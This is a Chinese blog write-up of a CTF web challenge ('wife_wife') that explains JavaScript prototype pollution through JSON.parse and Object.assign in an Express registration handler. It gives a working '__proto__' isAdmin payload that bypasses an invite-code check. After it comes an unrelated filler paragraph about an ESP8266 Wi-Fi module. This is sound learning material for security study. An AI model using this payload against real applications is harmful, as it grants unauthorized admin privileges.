wife_wife【web 攻防世界】

大佬的wp:WEB:Wife_wife-CSDN博客

知识点:

  • prototype是new class 的一个属性,即__proto__指向new class 的prototype属性
  • __proto__如果作为json代码解析的话会被当成键名处理,但是如果是在类中的话则会被当成子类的原型
    • 如let os=json.parse('{"a":"nihao","__proto__":{"isAdmin":true}}'); 
      • json.parse相当于创建一个对象,解析过程中__proto__作为键名处理;相当于os对象有两个键:a和__proto__
    • let os={"a":"nihao","__proto__":{"isAdmin":true}}; 
      • 这里__proto__相当于os本身,内部键名:a和isAdmin
  • Object.assign()
    • 利用该函数可以拷贝资源属性的所有键名和值到目标中
    • Object.assign(target, ...sources)
  • 部分源码分析
    • app.post('/register', (req, res) => {
          let user = JSON.parse(req.body)
          if (!user.username || !user.password) {
              return res.json({ msg: 'empty username or password', err: true })
          }
          if (users.filter(u => u.username == user.username).length) {
              return res.json({ msg: 'username already exists', err: true })
          }
          if (user.isAdmin && user.inviteCode != INVITE_CODE) {
              user.isAdmin = false
              return res.json({ msg: 'invalid invite code', err: true })
          }
          let newUser = Object.assign({}, baseUser, user) //就是这里,原型链污染
          users.push(newUser)
          res.json({ msg: 'user created successfully', err: false })
      })
    • 源码中需要绕过一个点:if (user.isAdmin && user.inviteCode != INVITE_CODE);他只要检测到isAdmin=true就会强制改为false,除非给出了正确的inviteCode,而想要拿到真正的flag必须保证isAdmin=true才行,下面有一个Object.assign()函数,是将源类的键名和值都拷贝到目标中,即新建的对象中拷贝过程中__proto__会表示子类原型,不作为键名处理,真实拷贝键名为isAdmin值为true,json.parse()中__proto__作为键名处理,导致后面直接绕过了isAdmin的判断,相当于没有该键名,默认为false
  • 原链污染详解:深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)
    • 污染代码必须在json解析之前输入,即__proto__必须作为键名处理才能实现污染攻击
    • 留意merge clone 等函数

通关载荷:

抓取注册is_Admin=true的数据包,构造对应载荷:

payload:{"username":"ren2","password":"123","__proto__":{"isAdmin":true},"inviteCode":"1"}

成功注册了账号,这里直接登进去就拿到flag了

如果只是注册了普通账号的话,只能看到虚假的flag和一张图片,没有任何信息

这题可太整人了,普通账号进入后,我还以为图片中会有一些信息呢,做了半天的杂项发现图片就真的是图片呀,扫了一下上面的那张小图nilou1.jpg,发现竟然是个jphide加密的,欸,难道有什么隐藏的信息???搞了半天找不到密码,无法进行解码,看了大佬的wp才发现我是彻底被作者给打败了,思路被诱导了,原来是要绕过isAdmin检测,即使知道了也不会,基础太差了,原链污染的概念也是第一次听,总的来说还是有所收获的,一边被虐一边学习,痛并快乐着

用一张图来表达我的心情

10

  • 10
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
wife 模块是一个基于 ESP8266 的无线模块,适用于初学者。下面我将简单介绍一下如何使用这个模块。 首先,你需要了解 ESP8266 是一个具有Wi-Fi 功能的芯片,可以用于制作无线网络设备。wife 模块则是基于此芯片设计的一个模块,用于提供更便捷的无线网络连接。 在使用 wife 模块之前,你需要先准备一些必要的硬件和软件。硬件方面,你需要一块带有 ESP8266 的开发板,如 NodeMCU 或 WeMos D1 mini。软件方面,你需要安装 Arduino IDE 和相应的 ESP8266 开发环境。 接下来,你可以尝试编写一个简单的程序,通过 wife 模块连接到 Wi-Fi 网络。在 Arduino IDE 中,选择正确的开发板和端口,并打开示例程序 "WiFiClient"。然后,你可以按照示例程序的指引,填入你的 Wi-Fi SSID 和密码,然后将代码上传到开发板上。 代码上传成功后,开发板将会连接到你的 Wi-Fi 网络,并通过串口输出连接状态。你也可以在代码中添加一些其他的功能,比如使用 wife 模块连接到互联网,发送数据等。 需要注意的是,wife 模块的使用还有很多其他的功能和应用,比如 TCP/IP 通信、远程控制等,你可以在学习的过程中深入了解和尝试这些功能。 总的来说,wife 模块使用 ESP8266 初学者可以通过简单的代码和操作,实现 Wi-Fi 连接以及一些基本的互联网功能。通过不断学习和实践,你可以逐渐掌握这个模块的更多功能,并应用到自己的项目中。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

I_WORM

大佬们,赏点儿碎银吧~~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值